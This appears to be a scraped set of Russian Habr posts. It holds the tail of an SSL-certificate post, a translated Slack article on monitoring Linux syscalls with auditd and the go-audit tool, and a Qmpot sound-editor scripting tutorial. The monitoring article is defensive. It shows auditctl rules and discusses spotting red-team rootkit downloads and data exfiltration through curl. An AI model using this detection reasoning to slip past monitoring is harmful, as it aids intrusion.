35:eb:20:95:b4:1a:12:7c:58:f2:f3:38:6b:fb:a6:1f:3c:cf:
fa:bc:f2:bb:92:e8:b0:41:37:84:31:ca:8c:44:73:60:8c:2f:
60:1f:7c:97:a8:7f:f0:b2:b3:8f:68:ce:3c:1d:9d:91:c9:88:
a7:bc:6e:91:93:68:de:6b:84:91:3e:34:7c:46:de:eb:71:9a:
76:f7:f8:87:d1:be:12:1b:7a:f0:3c:37:98:41:92:7a:6c:40:
87:3f:a1:f5:ef:d7:a3:1e:d2:34:3b:5d:f5:de:b9:a7:1d:a8:
da:f6:c0:2e:19:6f:e7:9c:96:78:3e:c7:a1:9d:f8:9d:09:81:
f0:5d:16:be:53:0c:cb:82:28:05:08:b2:cd:d6:5d:46:3c:ea:
cd:a1:e7:55
Вот [результаты теста](https://www.ssllabs.com/ssltest/analyze.html?d=blog.kai-zer.ru) моего [блога](https://blog.kai-zer.ru)
В комментариях к вышеупомянутым статьям были попытки (очень похожие на мою), но неуспешные.
Я не навязываю бесплатные сертификаты, но всё же если платить не хочется — пользуйтесь!
Спасибо. | https://habr.com/ru/post/254231/ | null | ru | null |
# Мониторинг системных вызовов Linux
Если вы инженер в организации, использующей Linux в промышленной эксплуатации, у меня к вам два небольших вопроса.
1. Сколько уникальных исходящих TCP-соединений установили ваши серверы за последний час?
2. Какие процессы и пользователи инициировали установку этих соединений?
Если вы в состоянии ответить на оба вопроса, отлично — дальше можете не читать. А если ответа нет, то получить эту информацию поможет [go-audit](https://github.com/slackhq/go-audit).
---
[Системные вызовы (syscalls)](https://filippo.io/linux-syscall-table/) — средство общения между пользовательскими программами и ядром Linux. Они используются для таких вещей, как соединение сетевых сокетов, чтение файлов, загрузка модулей ядра, создание новых процессов и т. д. и т. п. Если вы когда-либо использовали *strace*, *dtrace*, *ptrace* или что-то подобное со словом *trace* в названии, то системные вызовы вам уже не в новинку.
Большинство людей используют упомянутые *trace*-инструменты для отладки стоящих особняком единичных случаев, мы же в Slack собираем системные вызовы в качестве источника данных для постоянного мониторинга, что и вам советуем.
---
[Linux Audit](https://people.redhat.com/sgrubb/audit/) был добавлен в ядро начиная с версии 2.6.(14?). Система аудита состоит из двух основных компонентов: код ядра для мониторинга системных вызовов и демон, журналирующий связанные с этими вызовами события.
 Архитектура *kauditd* и *go-audit*
Давайте посмотрим на пример использования *auditd*. Допустим, мы хотим записывать в журнал события чтения файла */data/topsecret.data*. (*Пожалуйста, не храните секретную информацию в файле под названием topsecret.data*). При использовании *auditd* нужно сначала сообщить ядру о нашем желании получать информацию об интересующих событиях. Это делается с помощью команды `auditctl`, которая запускается от имени суперпользователя:
```
auditctl -w /data/topsecret.data -p rwxa
```
Теперь ядро будет генерировать событие каждый раз, когда кто-то получит доступ к `/data/topsecret.data` (в том числе и через *symlink*). Это событие посылается процессу в пространстве пользователя (обычно *auditd*) через нечто под названием *netlink*-сокет. (*Другими словами,* netlink *— это когда вы говорите ядру посылать сообщения процессу с помощью его PID на соответствующий сокет.*)
В большинстве Linux-дистрибутивов процесс пространства пользователя *auditd* пишет данные в `/var/log/audit/audit.log`. Если подключенный к *netlink*-сокету юзерспейсный процесс отсутствует, сообщения будут появляться в консоли и могут быть просмотрены с помощью `dmesg`.
Все это замечательно, но наблюдение за единственным файлом — это слишком простой пример. Давайте возьмем что-нибудь поинтереснее, что-нибудь связанное с сетью.
Демоны (*и еще бедовая netcat*) обычно используют системный вызов `listen` для организации приема входящих сетевых соединений. Например, если Apache желает слушать 80-й порт, он посылает соответствующий запрос ядру. Для журналирования этих событий мы снова сообщаем ядру о наших намерениях с помощью `auditctl`:
```
auditctl -a exit,always -S listen
```
Теперь *каждый* раз, когда процесс начинает слушать на каком-либо сокете, мы получаем соответствующее сообщение. Здорово! Такое журналирование может быть настроено на любой системный вызов. Для решения обозначенных в начале статьи вопросов нам нужен `connect`. Чтобы организовать наблюдение за каждым новым процессом и командой, можно использовать `execve`.
*Суперзамечание. Мы не ограничены лишь действиями пользователей. Подумайте о таких интересных событиях, как запуск Апачем `bash` или создание исходящего соединения к какому-то непонятному IP-адресу, и о том, что эти действия могут означать.*
---
Итак, теперь у нас есть некоторое количество событий в `/var/log/audit/audit.log`, но файлы журнала — это еще не система мониторинга. Что нам делать со всеми собранными данными? К сожалению, у формата журнала *auditd* есть особенности, которые затрудняют его обработку.
1. Формат данных в основном представлен в виде «ключ=значение».
2. Событие может занимать одну или несколько строк.
3. События могут переплетаться и появляться не по порядку.
 Пример вывода *auditd*
Есть несколько инструментов для обработки событий журнала (например, `aureport` и `ausearch`), но они, похоже, нацелены на расследование уже случившегося события, а не на постоянный мониторинг.
---
Мы видели много вариантов полезного использования получаемых от *auditd* данных. Но нужно было придумать способ масштабирования такой системы мониторинга. В итоге в качестве замены части *auditd*, работающей в пространстве пользователя, мы решили создать [go-audit](https://github.com/slackhq/go-audit). Вот цели, на которые мы ориентировались:
1. Конвертирование многострочных событий *auditd* в один JSON-blob.
2. Общение с ядром напрямую с помощью netlink.
3. Высокая производительность.
4. Минимизация (или полное исключение) фильтрации событий на наблюдаемых узлах.
Первые три условия, скорее всего, очевидны и понятны, а последнее требует пояснения.
---
Вот два главных вопроса, на которые мы должны ответить при обсуждении четвертого пункта:
* *Почему вы не хотите фильтровать события на каждом сервере?*
* *Не будете ли вы пересылать уйму лишней информации?*
Представьте, что на ваших серверах установлена утилита `curl` (*вероятно, что так оно и есть*). Во время очередных учений товарищ из «красной команды» (red team) использует `curl` для загрузки руткита и затем для выгрузки данных. Получив этот урок, вы начинаете журналировать каждую команду и отфильтровывать все, кроме `curl`, при запуске которой каждый раз поднимается тревога.
У такого подхода есть несколько проблем.
1. Существует примерно 92 481 124,5 способа выполнить загрузку руткита и выгрузку данных без использования `curl`. Мы даже перечислить их не сможем.
2. Взломщик может посмотреть ваши правила для *auditd* и заметить, что вы следите за `curl`.
3. Есть вполне легитимные случаи использования `curl`.
Нам нужно кое-что получше...
А не посылать ли все данные централизованной системе журналирования и оповещения, вместо того чтобы отфильтровывать конкретные команды на местах? У этого подхода есть несколько удивительно полезных свойств.
1. Взломщик не знает, какие системные вызовы вас интересуют. (*А как метко подметил [Rob Fuller](https://twitter.com/mubix), невидимые ловушки вызывают у хакеров ночные кошмары.*)
2. Мы можем анализировать взаимосвязь различных событий, чтобы понимать, когда выполнение `curl` вполне законно, а когда нет.
3. Новые правила можно оценивать и тестировать на архивных данных.
4. Теперь у нас есть внешнее независимое хранилище криминалистической информации.
---
Итак, друзья, встречайте — [go-audit](https://github.com/slackhq/go-audit). Мы выпускаем этот инструмент как ПО с открытым исходным кодом. Им можно пользоваться свободно и совершенно бесплатно. Ребята из нашей команды Secops создали первую версию *go-audit* больше года назад, и мы используем его в промышленной эксплуатации почти столько же. Это небольшой, но очень важный элемент нашей инфраструктуры мониторинга. [Рекомендую посмотреть мою предыдущую статью о принятом у нас подходе к работе с сигналами тревоги (alerting).](https://slack.engineering/distributed-security-alerting-c89414c992d6#.1xw9nx2a5)
В репозитории *go-audit* размещено множество [примеров](https://github.com/slackhq/go-audit/tree/master/examples) по конфигурированию и сбору данных. Здесь в Slack мы используем *rsyslog* + *relp*, поскольку хотим как можно быстрее убирать данные с сервера, но при этом иметь возможность записать события на диск, если *syslog* временно не может передать их по сети. Мы бы могли без труда перейти на другой механизм доставки логов и будем рады услышать ваши идеи.
Мы приглашаем в проект новых участников и надеемся, что *go-audit* будет полезен не только нам. В течение года этот репозиторий был открыт определенному количеству людей вне Slack, и некоторые из наших друзей уже используют его в промышленной эксплуатации.
---
Возможно, вы обратили внимание, что в этой статье еще ни разу не встретилось слово «безопасность». Давайте это обсудим. Я считаю, что многие инструменты общего назначения часто могут быть использованы и для обеспечения безопасности, но обратное, как правило, неверно. *Auditd* выдает данные мониторинга безопасности в таком виде, что их сложно использовать каким-либо другим способом, а *go-audit* был разработан как инструмент общего назначения. Его полезность сразу очевидна для специалистов служб эксплуатации и разработчиков, которые могут использовать *go-audit* для решения проблем на всем многообразии современных и в том числе очень крупных систем.
Давайте вернемся к вопросам, поставленным в начале статьи. Любая компания с IDS/IPS/Netflow/PCAP и т. д. на сетевом шлюзе может многое сказать о своих сетевых соединениях и, возможно, ответить на первый вопрос. Но ни одно из перечисленных решений не предоставит контекст в виде *user/pid/command*, необходимый для ответа на второй вопрос. А в нем как раз и заключается различие между «кто-то запустил что-то где-то в нашей сети, и оно соединилось с таким-то IP» и «Mallory запустила *curl* от имени *root* на *bigserver01* и подключилась к 1.2.3.4, порт 1337».
В Slack мы часто говорим: «Не дай лучшему стать врагом хорошего». *Go-audit* не идеален, но мы считаем, что этот инструмент действительно очень неплох, и рады им с вами поделиться.
---
#### FAQ:
##### Почему auditd, а не sysdig или osquery?
*Osquery* — отличный инструмент. На самом деле в Slack мы его тоже используем. Но для боевых серверов предпочитаем *go-audit*. Причина заключается в том, что эти системы работают в режиме 24/7, и нам нужно постоянно передавать данные. С *osquery* мы получаем снимок текущего состояния машины. Если что-то завершило выполнение в интервале между опросами, есть все шансы это пропустить. Думаю, такая модель хороша для ноутбуков и других пользовательских устройств, но для высокодоступных систем предпочитаю передавать данные непрерывным потоком.
*Sysdig* также является замечательным инструментом отладки, и я использовал его достаточно активно. Основная проблема в том, что ему требуется модуль ядра на каждой машине. *Sysdig Falco* кажется полезным, но они предпочитают фильтровать события на каждом объекте мониторинга. А, как было сказано выше, нам интереснее хранить правила централизованно, вне зоны досягаемости взломщика, получившего доступ к системе.
*Auditd* хорош тем, что существует уже достаточно давно и является частью основной ветки ядра. Это самый распространенный механизм аудита системных вызовов в мире Linux. Вот поэтому мы его и выбрали.
##### Что нам делать со всеми этими сигналами тревоги?
Они отправляются в кластер Elasticsearch. Там для генерации сигналов тревоги на основе анализа постоянно поступающих данных и для общего мониторинга мы используем [ElastAlert](https://github.com/Yelp/elastalert). Также можно посмотреть на другие популярные системы журналирования, способные работать с большими объемами данных, но (*мое личное мнение не обязательно должно совпадать с мнением моего работодателя*) *у меня фундаментальные проблемы с денежной оценкой структур, которые побуждают записывать в журналы меньше данных, чтобы сэкономить финансы.*
##### О журналах какого размера идет речь?
Короткий ответ: значение может меняться в очень широких пределах.
Длинный ответ: зависит от того, какие системные вызовы журналировать и как много серверов будут это делать. Мы пишем сотни гигабайт в день. Кажется, это много, но в данный момент у нас постоянно журналируются события с 5500 машин. Также следует учитывать выделение кластеру дополнительных ресурсов для отражения атак типа DoS.
##### Почему rsyslog?
Мы обладаем значительным опытом работы с *rsyslog*, у которого есть несколько полезных свойств. Настойчиво рекомендуем использовать версию 8.20+, где мы исправили несколько ошибок. У нас была возможность доверить выполнение доставки сообщений и самому *go-audit*, но выгоды такого подхода не перевесили преимуществ использования инструмента, который исправно служит нам уже несколько лет.
##### Благодарности
* Моему коллеге [Nate Brown](https://twitter.com/nbrownus), сделавшему *go-audit* намного лучше.
* Парням из Mozilla, занимающимся [audit-go](https://github.com/mozilla/audit-go), за то, что вдохновили нас на этот проект.
* Большому количеству людей, прочитавших эту статью и написавших полезные отзывы.
* [Chicago Cubs](http://cubs.com/) за победу в чемпионате. | https://habr.com/ru/post/316902/ | null | ru | null |
# Qmpot — программируемый звуковой редактор
Первым звуковым редактором, который я увидел в своей жизни — был **Фонограф** (sndrec32.exe) в Windows 98. Недолго я игрался с ним, записывал до 1 минуты звука с микрофона (потом запись прерывалась) и прослушивал полученное. А еще переконвертировал звуки из одного качества в другое.
Вторым звуковым редактором, который я увидел — был **Cool Edit Pro 2000** (который теперь называется Adobe Audition). Но когда я порылся в нем достаточно — я был расстроен, эту штуку называют «звуковой редактор», но она только редактирует звук. В ней нельзя написать музыку с нуля. В ее наследнике — Adobe Audition, правда, позже добавили систему дорожек, в которые можно понапихать loop-ов и наделать музыки из них.
Потом я еще увидел **Cakewalk Pro Audio** (Cakewalk Sonar), **Fruity Loops**, **Sound Forge** и т.д.
Но еще с того 1998-2000 года во мне затаилось желание создавать звук и вставлять в него любые ноты в любые места во времени. Причем делать это как в простом режиме («воон туда эту ноту запихай-ка»), так и в более сложном («зажмем этот аккорд, сыграем в этом стиле, потом другой аккорд, сыграем его в другом стиле»).
И год с лишним назад, в декабре 2013 года я начал делать этот редактор.
Причем делать его начал в рамках проекта PaintCAD 4Windows, который давно умеет делать AVI фильмы из нарисованных кадров, но получающиеся AVI — немое кино, без звука. Поэтому паинткаду очень была нужна возможность создавать WAV файлы с нуля или редактировать другие, собирая из них озвучку для AVI. Ну а где создание звуковых файлов — там и написание музыки недалеко.
Чтобы попасть в Qmpot (читается «кумпот») — надо запустить паинткад:
А дальше:
— либо нажать **Ctrl+Q**;
— либо нажать **0 (ноль)** на клавиатуре и выбрать в меню **«Экстра»-«Редактор звука Qmpot»**:
Открывшийся Qmpot будет пуст.
**И хотя:**
— в нем можно создать новый звук (через **«Создать (Ctrl+N)»**),
— можно загружать WAV файлы (через **«Открыть (Ctrl+O)»**),
— можно лазить курсором (с клавиатуры) по звуку, ускоряя перемещение в 10 раз (если зажать **Shift**) или в 100 раз (если зажать **Ctrl+Shift**),
— можно масштабировать звук с помощью **Ctrl+Плюс** и **Ctrl+Минус**,
— можно перемещать курсор в конкретное или случайное место по кнопке **«Перейти (Ctrl+G)»**
— можно пробелом (или по кнопке **«Выделить (Пробел)»**) выделять фрагменты звука,
— можно включить по **Ctrl+I** информацию об отсчетах под курсором (амплитуда и производная) и под границами выделения (разницы амплитуд и производных, для создания собственных loop-ов)
— можно вырезать, копировать, вставлять, удалять выделенное **(Ctrl+X, Ctrl+C, Ctrl+V, Del)**
— можно нажать **«Команды (Ctrl+K)»** и править вручную амплитуды отсчетов, менять границы выделения, изменять длину массива и звука, транспонировать звук
— можно нажать **«Эффекты (Ctrl+E)»** и применять к выделенному фрагменту звука различные эффекты (от простого изменения громкости до перемещения источника звука в пространстве относительно слушателя),
— можно сохранить отредактированный звук в WAV файл (через **«Сохранить (Ctrl+S)»**),
**это все не главное.**
#### Программирование музыки
Главное начинается если нажать кнопку **«Программа (F3)»** и тогда откроется поле редактирования QMP программ (скриптов):
Комментарии в этом поле прописываются двойным слэшем в начале. Ими удобно помечать куплеты/припевы и др.части музыки.
Одна из команд уже введена в поле — это **X**. Поставьте на нее курсор и прочтите под текстовым полем программы **«Завершить выполнение»** и **«X (без параметров)»**. Для любой команды под курсором здесь отображается ее назначение и синтаксис:
Поставьте курсор между комментарием и командой X. Нажмите кнопку **«Команда (Shift+F3)»** справа от поля ввода программы. Выберите **«N — новый звук»**, а потом **«Монозвук 16 бит»**. В программе появится строка:
**N 11025,16,1,5S**
она означает «создать новый пустой звук с частотой дискретизации 11025 Гц, разрядностью звука 16 бит, одним каналом и длиной 5 секунд».
Меню по кнопке **«Команда (Shift+F3)»** позволяет вставлять любые команды в программу, если лень смотреть помощь, а название команды вы забыли.
Также все команды с примерами и картинками можно посмотреть если в паинткаде или кумпоте нажать F1 и выбрать раздел помощи **«Экстра» — «Звуковой редактор Qmpot» — «Список команд»**.
Добавим после команды N следующую команду:
**LT 1,11025,16,1,0.5,0.5**
она означает «загрузить треугольную/пилообразную волну в инструмент номер 1 с параметрами частота дискретизации 11025 Гц, разрядность 16 бит, 1 канал, амплитудой 50% от максимальной и заполнением 50%».
«Заполнение» для треугольной волны — это ее «пилообразность». Заполнение 50% (0.5) — это чистый треугольный сигнал (картинка посередине):
Синусоидальный сигнал — звучит очень мягко, треугольный — пожестче, пилообразный — еще жестче, и прямоугольный — самый жесткий. Любой из этих сигналов, а также шумовой сигнал можно загрузить в качестве инструментов: **LS** — синус, **LT** — треугольник/пилообразный, **LR** — прямоугольный, **LN** — шумовой.
Теперь у нас 2 команды — создан звук и загружена треугольная волна как инструмент номер 1. Добавим первую ноту. Для этого после команды LT вставьте команду:
**PL 1,0,10,1S,0**
она означает записать инструментом номер 1 ноту в оба канала (0 — оба канала, 1 — левый, 2 — правый, т.к. звук моно — то при 0 все равно только в первый канал будет записан звук), по смещению 10 отсчетов от начала звука, длительностью 1 секунда, и тоном ноты 0 (До 4-й октавы, С4).
Тон ноты — это смещение в полутонах относительно исходного тона инструмента. Вот на этом рисунке сверху фортепианной клавиатуры показаны номера нот:
Т.е. хотите ноту До — поставьте 0, хотите Ре — поставьте 2, хотите Ми — поставьте 3, хотите До на октаву выше — поставьте 12 и т.д.
Нажмите кнопку **«Запуск (Shift+F5)»** справа от поля ввода программы (или **Shift+F5** на клавиатуре). Программа будет запущена и выдаст «результат».
Нажмите внизу на панели **«Играть/Пауза (F5)»** (или просто **F5** на клавиатуре) и прослушайте его (будет 1 секунда с нотой и 4 секунды тишины, т.к. задана пятисекундная длина звука в команде N).
Напишем частушки в миноре. Это аккорды Dm,Am,E,Am. В соответствии с изображением клавиатуры фортепиано вверху и номерами нот на ней:
Dm это три ноты D4,F4,A4, т.е. в номерах нот это 2,5,9.
Am это ноты A3,C4,E4, в номерах это -3,0,4.
E это E3,G#3,B3, в номерах это -8,-4,-1.
Изменим длину звука в команде N на 9 секунд (чтоб влезли частушки). И командами PL набиваем эти аккорды с этими номерами нот, каждую ноту сделаем длиной 0,5 секунды:
— первые три ноты от DM со смещением 0 секунд и 1 секунда (дважды),
— вторые три ноты от Am со смещением 2 секунда и 3 секунды (дважды),
— третьи три ноты от E со смещением 4 секунды и 5 секунд (дважды),
— последние три ноты от Am со смещением 6 секунд и 7 секунд (дважды).
Получаем (скопируйте этот скрипт и вставьте его в поле программы заместо того что там было):
```
//введите сюда QMP-команды
N 11025,16,1,9S
LT 1,11025,16,1,0.5,0.5
//Dm 2,5,9
PL 1,0,0S,0.5S,2
PL 1,0,0S,0.5S,5
PL 1,0,0S,0.5S,9
PL 1,0,1S,0.5S,2
PL 1,0,1S,0.5S,5
PL 1,0,1S,0.5S,9
//Am -3,0,4
PL 1,0,2S,0.5S,-3
PL 1,0,2S,0.5S,0
PL 1,0,2S,0.5S,4
PL 1,0,3S,0.5S,-3
PL 1,0,3S,0.5S,0
PL 1,0,3S,0.5S,4
//E -8,-4,-1
PL 1,0,4S,0.5S,-8
PL 1,0,4S,0.5S,-4
PL 1,0,4S,0.5S,-1
PL 1,0,5S,0.5S,-8
PL 1,0,5S,0.5S,-4
PL 1,0,5S,0.5S,-1
//Am -3,0,4
PL 1,0,6S,0.5S,-3
PL 1,0,6S,0.5S,0
PL 1,0,6S,0.5S,4
PL 1,0,7S,0.5S,-3
PL 1,0,7S,0.5S,0
PL 1,0,7S,0.5S,4
X
```
Нажмите кнопку **«Запуск (Shift+F5)»** справа от поля ввода программы (или **Shift+F5** на клавиатуре). А потом **F5** для прослушивания.
Можно вызывать не по три ноты сразу, а сначала одну, а потом две других (эти две сдвинем на полсекунды). Получим (скопируйте этот скрипт и вставьте его в поле программы заместо того что там было):
```
//введите сюда QMP-команды
N 11025,16,1,9S
LT 1,11025,16,1,0.5,0.5
//Dm 2,5,9
PL 1,0,0S,0.5S,2
PL 1,0,0.5S,0.5S,5
PL 1,0,0.5S,0.5S,9
PL 1,0,1S,0.5S,2
PL 1,0,1.5S,0.5S,5
PL 1,0,1.5S,0.5S,9
//Am -3,0,4
PL 1,0,2S,0.5S,-3
PL 1,0,2.5S,0.5S,0
PL 1,0,2.5S,0.5S,4
PL 1,0,3S,0.5S,-3
PL 1,0,3.5S,0.5S,0
PL 1,0,3.5S,0.5S,4
//E -8,-4,-1
PL 1,0,4S,0.5S,-8
PL 1,0,4.5S,0.5S,-4
PL 1,0,4.5S,0.5S,-1
PL 1,0,5S,0.5S,-8
PL 1,0,5.5S,0.5S,-4
PL 1,0,5.5S,0.5S,-1
//Am -3,0,4
PL 1,0,6S,0.5S,-3
PL 1,0,6.5S,0.5S,0
PL 1,0,6.5S,0.5S,4
PL 1,0,7S,0.5S,-3
PL 1,0,7.5S,0.5S,0
PL 1,0,7.5S,0.5S,4
X
```
Нажмите кнопку **«Запуск (Shift+F5)»** справа от поля ввода программы (или **Shift+F5** на клавиатуре). А потом **F5** для прослушивания.
Добавим к звучанию инструмента эффект «эхо», для этого после команды LT вставьте команду:
**SE 1,3,0,0.25S,40**
она означает, что каждая нота инструмента 1 превратится в 3 ноты. Первая нота будет там, куда ее поставила команда PL. Вторая будет вставлена со смещением 0,25 секунды и амплитудой 60% (100 минус 40). Третья будет вставлена со смещением 0,25+0,25 секунды и амплитудой 20% (100 минус 40 минус 40).
Из-за эхо ноты будут сильно накладываться друг на друга, поэтому во избежание достижения предела по амплитуде (и среза звука до пределов -128 до 127 для 8 бит, или от -32768 до 32767 для 16 бит) уменьшим также в команде LT амплитуду сигнала с 0,5 до 0,3.
Получим:
```
//введите сюда QMP-команды
N 11025,16,1,9S
LT 1,11025,16,1,0.3,0.5
SE 1,3,0,0.25S,40
//Dm 2,5,9
PL 1,0,0S,0.5S,2
PL 1,0,0.5S,0.5S,5
PL 1,0,0.5S,0.5S,9
PL 1,0,1S,0.5S,2
PL 1,0,1.5S,0.5S,5
PL 1,0,1.5S,0.5S,9
//Am -3,0,4
PL 1,0,2S,0.5S,-3
PL 1,0,2.5S,0.5S,0
PL 1,0,2.5S,0.5S,4
PL 1,0,3S,0.5S,-3
PL 1,0,3.5S,0.5S,0
PL 1,0,3.5S,0.5S,4
//E -8,-4,-1
PL 1,0,4S,0.5S,-8
PL 1,0,4.5S,0.5S,-4
PL 1,0,4.5S,0.5S,-1
PL 1,0,5S,0.5S,-8
PL 1,0,5.5S,0.5S,-4
PL 1,0,5.5S,0.5S,-1
//Am -3,0,4
PL 1,0,6S,0.5S,-3
PL 1,0,6.5S,0.5S,0
PL 1,0,6.5S,0.5S,4
PL 1,0,7S,0.5S,-3
PL 1,0,7.5S,0.5S,0
PL 1,0,7.5S,0.5S,4
X
```
Выполните по Shift+F5 и прослушайте полученное по F5.
Теперь сделаем стереомелодию. Для этого:
— пропишем в команде N два канала: **N 11025,16,2,9S**
— загрузим второй инструмент, точно такой же как первый, и для обоих зададим одинаковое эхо
— расставим относительно слушателя первый инструмент слева спереди в 500 мм: **IP 1,-500,500**
— расставим относительно слушателя второй инструмент справа спереди в 500 мм: **IP 2,500,500**
— в каждом аккорде первую ноту будет играть первый инструмент, а две других — второй инструмент
Получим:
```
//введите сюда QMP-команды
N 11025,16,2,9S
//первый инструмент
LT 1,11025,16,1,0.3,0.5
SE 1,3,0,0.25S,40
IP 1,-500,500
//второй инструмент
LT 2,11025,16,1,0.3,0.5
SE 2,3,0,0.25S,40
IP 2,500,500
//Dm 2,5,9
PL 1,0,0S,0.5S,2
PL 2,0,0.5S,0.5S,5
PL 2,0,0.5S,0.5S,9
PL 1,0,1S,0.5S,2
PL 2,0,1.5S,0.5S,5
PL 2,0,1.5S,0.5S,9
//Am -3,0,4
PL 1,0,2S,0.5S,-3
PL 2,0,2.5S,0.5S,0
PL 2,0,2.5S,0.5S,4
PL 1,0,3S,0.5S,-3
PL 2,0,3.5S,0.5S,0
PL 2,0,3.5S,0.5S,4
//E -8,-4,-1
PL 1,0,4S,0.5S,-8
PL 2,0,4.5S,0.5S,-4
PL 2,0,4.5S,0.5S,-1
PL 1,0,5S,0.5S,-8
PL 2,0,5.5S,0.5S,-4
PL 2,0,5.5S,0.5S,-1
//Am -3,0,4
PL 1,0,6S,0.5S,-3
PL 2,0,6.5S,0.5S,0
PL 2,0,6.5S,0.5S,4
PL 1,0,7S,0.5S,-3
PL 2,0,7.5S,0.5S,0
PL 2,0,7.5S,0.5S,4
X
```
### Упрощение ввода номеров нот
При написании мелодий побольше и похитрей — возникают проблемы:
Первая проблема — скрипт растет. Тут помогают комментарии, можно пометить любые части программы, чтоб не вглядываться в аргументы команд, а сразу понять «тут вступление», «тут проигрыш» и т.д.
Вторая проблема — номера нот трудно вводить по памяти.
Чтобы решить эту проблему — в Qmpot была добавлена система **«Ввод нот»**. Она позволяет использовать виртуальное фортепиано, виртуальную шестиструнную гитару и виртуальную сетку барабанов для создания массивов команд PL (или P) и перетаскивания их в QMP программу. Также позволяет играть на физической клавиатуре как на фортепиано/барабанах и записывать сыгранное в виде QMP-команд.
Чтобы запустить «Ввод нот» — нажмите справа от поля программы кнопку **«Ввод нот (Shift+F7)»** или просто **Shift+F7** на клавиатуре.
#### Ввод нот: Фортепиано
После запуска «ввода нот» фортепиано включено по умолчанию.
Можно лазить синим курсором по клавишам и зажимать их **пробелом** (или кнопкой **«Выбрать (ПРОБЕЛ)»**).
Самое простое использование фортепиано:
— зажимаем пробелом ноты аккорда,
— необязательный шаг: жмем **«Звук (ENTER)»** (или просто **Enter**) чтобы прослушать в MIDI что все правильно зажали,
— жмем кнопку **«Добавить (CTRL+ENTER)»** (или просто **Ctrl+Enter**) и ноты оказываются в виде команд справа в поле программы:
Далее можно скопировать полученные команды кнопкой **«Копировать (Ctrl+C)»** и затем, выйдя по **ESC** из ввода нот, вставить их уже в вашу программу куда надо.
На получаемые ноты влияют параметры на панели внизу окна (надо же как-то управлять их смещением, длительностью и т.д.):
**Номер** — номер инструмента, прописываемый в командах PL.
**Смещение** — смещение в мс, прописываемое в командах PL. Смещение можно быстро изменять нажатием на кнопки "-"(Ctrl+Минус) и "+"(Ctrl+Плюс) по бокам от него. При этом оно изменяется на величину **«Шаг»**.
**Длина** — длительность нот в мс, прописываемая в командах PL.
Таким образом, можно:
— выставить смещение в 0 мс если оно не ноль (Ctrl+A),
— зажать первый аккорд,
— нажать Ctrl+Enter,
— зажать другой аккорд,
— увеличить смещение (Ctrl+Плюс),
— снова нажать Ctrl+Enter,
— зажать третий аккорд,
— увеличить смещение,
— снова нажать Ctrl+Enter.
И т.д. А когда будет достаточно команд — копируем их по Ctrl+C, закрываем Ввод нот по Esc и вставляем полученные команды в программу.
Если лень каждый раз увеличивать смещение — нажмите кнопку **«Авто+ (Ctrl+P)»** и тогда после каждого добавления нот по Ctrl+Enter смещение будет увеличиваться само.
Также можно установить параметр **«Сдвиг»** — и ноты будут вставляться не все по одному смещению, а каждая с этим сдвигом относительно предыдущей, как будто пианист не мгновенно все клавиши жмет, а с задержками.
#### Стили игры и Тест команд
Над полем программы во «Вводе нот» есть две кнопки:
Кнопкой **«Тест команд (Ctrl+U)»** можно, не выходя из «Ввода нот», прослушать введенные команды на треугольной волне для фортепиано/гитары и на шумовых барабанах для сетки барабанов.
Кнопкой **«Стиль игры (Ctrl+B)»** можно выбрать определенные стили игры. Для фортепиано это фортепианные стили, для гитары — гитарные, а для барабанов — это встроенные ритмы (рок, хип-хоп и т.д). Также можно задать свой стиль.
Текущий стиль игры отображается под кнопкой «Стиль игры». В фортепиано по умолчанию это стиль «Играть всё». Выглядит он как «A-1D».
Стили фортепиано кодируются командами и цифрами, написанными через тире:
**A** — сыграть одновременно все зажатые ноты;
**Наборы цифр 1-9** — сыграть указанную ноту из зажатого аккорда (если зажаты три ноты — то 1 сыграет первую ноту, 2 — вторую, 3 — третью, 13 — первую и третью одновременно, 4 — ничего не сыграет, т.к. только три зажаты);
**шаговD** — задержка между предыдущими нотами и следующими в долях «шагов» параметра «Шаг» из нижней части окна, при этом длина предыдущих нот определяется параметром «Длина» из нижней части окна;
**шаговL** — задержка между предыдущими нотами и следующими в долях «шагов» параметра «Шаг» из нижней части окна, при этом длина предыдущих нот равна этой задержке (ноты тянутся до следующих нот).
Например, вышеупомянутый стиль «Играть всё» — это A-1D, где A — проиграть все, 1D — выждать один «Шаг».
А стиль «Пары (1 шаг)» — кодируется как 2-0.25L-34-0.25L-1-0.25L-34-0.25L, что означает:
2-0.25L: 2 зажатая в аккорде нота играется четверть Шага;
34-0.25L: 3 и 4 зажатая в аккорде нота играется четверть Шага;
1-0.25L: 1 зажатая в аккорде нота играется четверть Шага;
34-0.25L: 3 и 4 зажатая в аккорде нота играется четверть Шага.
В итоге целый Шаг заполнен нотами.
Таким образом, выбрав стиль «Пары (1 шаг)» и зажав аккорд из 4 нот — можно по Ctrl+Enter получать команды целой музыкальной фразы 2-34-1-34 со сдвигами во времени, а не просто аккорда.
#### Ввод нот со стилем игры (общий алгоритм)
1) По кнопке **«Номер (Ctrl+I)»** указать номер инструмента, который будет использован в QMP командах;
2) По кнопке **«Очистить (Ctrl+X)»** очистить предыдущую программу «ввода нот» (если она была введена до этого);
3) По кнопке **«Шаг (Ctrl+S)»** указать длину шага в мс;
4) По кнопке **«Смещение (Ctrl+A)»** выставить начальное смещение в 0 мс (или другое, если требуется выставить ноты не с начала мелодии);
5) Сбросить ранее зажатые ноты по кнопке **«Сброс клавиш (Ctrl+K)»** и зажать очередной аккорд из 4 нот, перемещая курсор и нажимая кнопку **«Выбрать (Пробел)»**;
6) По кнопке **«Добавить (Ctrl+ENTER)»** «сыграть» зажатый аккорд выбранным стилем игры (команды игры добавятся в QMP программу в текстовом поле справа);
7) Увеличить смещение на один шаг кнопкой **"+"(Ctrl+Плюс)**;
8) Если дальше нужно ввести также другие аккорды мелодии — перейти к п.5 для ввода следующего аккорда.
9) Нажать **«Тест команд (Ctrl+U)»** для прослушивания полученной мелодии на треугольном сигнале;
10) Нажать **«Копировать (Ctrl+C)»** для копирования QMP команд, выйти из «Ввода нот» по **ESC**, вставить команды в QMP программу в основном окне Qmpot;
**Совет:** если предварительно включить режим по кнопке «Авто+ (Ctrl+P)», то п.7 выполнять не потребуется, смещение будет само увеличиваться на необходимое количество шагов после каждого добавления нот по кнопке «Добавить (Ctrl+ENTER)».
Другие стили могут длиться не один шаг, а более, например, предустановленный стиль «Перебор (2 шага)» использует 8 итераций по 0.25 шага (т.е. занимает 2 шага). Тогда при ручном изменении смещения необходимо после «Добавить (Ctrl+ENTER)» увеличивать смещение на 2 шага (кнопкой **"+"(Ctrl+Плюс)**). В случае автоувеличения смещения (**«Авто+ (Ctrl+P)»**) необходимое количество шагов будет автоматически добавляться к смещению.
